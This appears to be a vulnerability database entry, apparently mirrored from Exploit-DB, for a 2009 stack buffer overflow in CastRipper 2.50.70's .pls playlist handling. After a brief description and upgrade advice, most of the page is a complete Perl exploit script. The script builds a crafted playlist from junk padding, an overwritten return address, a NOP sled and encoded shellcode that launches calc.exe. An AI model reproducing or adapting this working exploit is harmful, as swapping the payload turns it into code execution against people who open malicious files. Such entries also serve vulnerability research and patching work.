CastRipper 2.50.70 (.pls) Universal Stack Overflow Exploit

vendor:

CastRipper

by:

zAx

9,3

CVSS

HIGH

Stack Overflow

119

CWE

Product Name: CastRipper

Affected Version From: 2.50.70

Affected Version To: 2.50.70

Patch Exists: YES

Related CWE: N/A

CPE: a:castripper:castripper:2.50.70

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2009

CastRipper 2.50.70 (.pls) Universal Stack Overflow Exploit

CastRipper 2.50.70 is vulnerable to a stack overflow vulnerability when a specially crafted .pls file is opened. This can be exploited to execute arbitrary code by corrupting the stack and overwriting the return address with a pointer to the shellcode. The exploit code is written in Perl and contains a shellcode that executes the calc.exe program.

Mitigation:

Upgrade to the latest version of CastRipper.

Source

Exploit-DB raw data:

#!/usr/bin/perl
# CastRipper 2.50.70 (.pls) Universal Stack Overflow Exploit
# Exploited By : zAx
# ThE-zAx@HoTMaiL.CoM
print "CastRipper 2.50.70 (.pls) Universal Stack Overflow Exploit\n";
print "Exploited By : zAx";
print "Contact at : ThE-zAx@HoTMaiL.CoM";
$header = "[playlist]\x0ANumberOfEntries=1\x0AFile1=http://";
$junk = "\x41" x 26369;
$eip="\x7D\xBC\x01\x10"; # Universal
$nopsled = "\x90" x 10;
# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
$shellcode =
"\x2b\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x88".
"\xd3\x37\xcc\x83\xeb\xfc\xe2\xf4\x74\x3b\x73\xcc\x88\xd3\xbc\x89".
"\xb4\x58\x4b\xc9\xf0\xd2\xd8\x47\xc7\xcb\xbc\x93\xa8\xd2\xdc\x85".
"\x03\xe7\xbc\xcd\x66\xe2\xf7\x55\x24\x57\xf7\xb8\x8f\x12\xfd\xc1".
"\x89\x11\xdc\x38\xb3\x87\x13\xc8\xfd\x36\xbc\x93\xac\xd2\xdc\xaa".
"\x03\xdf\x7c\x47\xd7\xcf\x36\x27\x03\xcf\xbc\xcd\x63\x5a\x6b\xe8".
"\x8c\x10\x06\x0c\xec\x58\x77\xfc\x0d\x13\x4f\xc0\x03\x93\x3b\x47".
"\xf8\xcf\x9a\x47\xe0\xdb\xdc\xc5\x03\x53\x87\xcc\x88\xd3\xbc\xa4".
"\xb4\x8c\x06\x3a\xe8\x85\xbe\x34\x0b\x13\x4c\x9c\xe0\x23\xbd\xc8".
"\xd7\xbb\xaf\x32\x02\xdd\x60\x33\x6f\xb0\x56\xa0\xeb\xd3\x37\xcc";
open(zax,">>zAx.pls");
print zax $header.$junk.$eip.$nopsled.$shellcode;
print "[+] Done !! [+]";
close(zax);

# milw0rm.com [2009-05-12]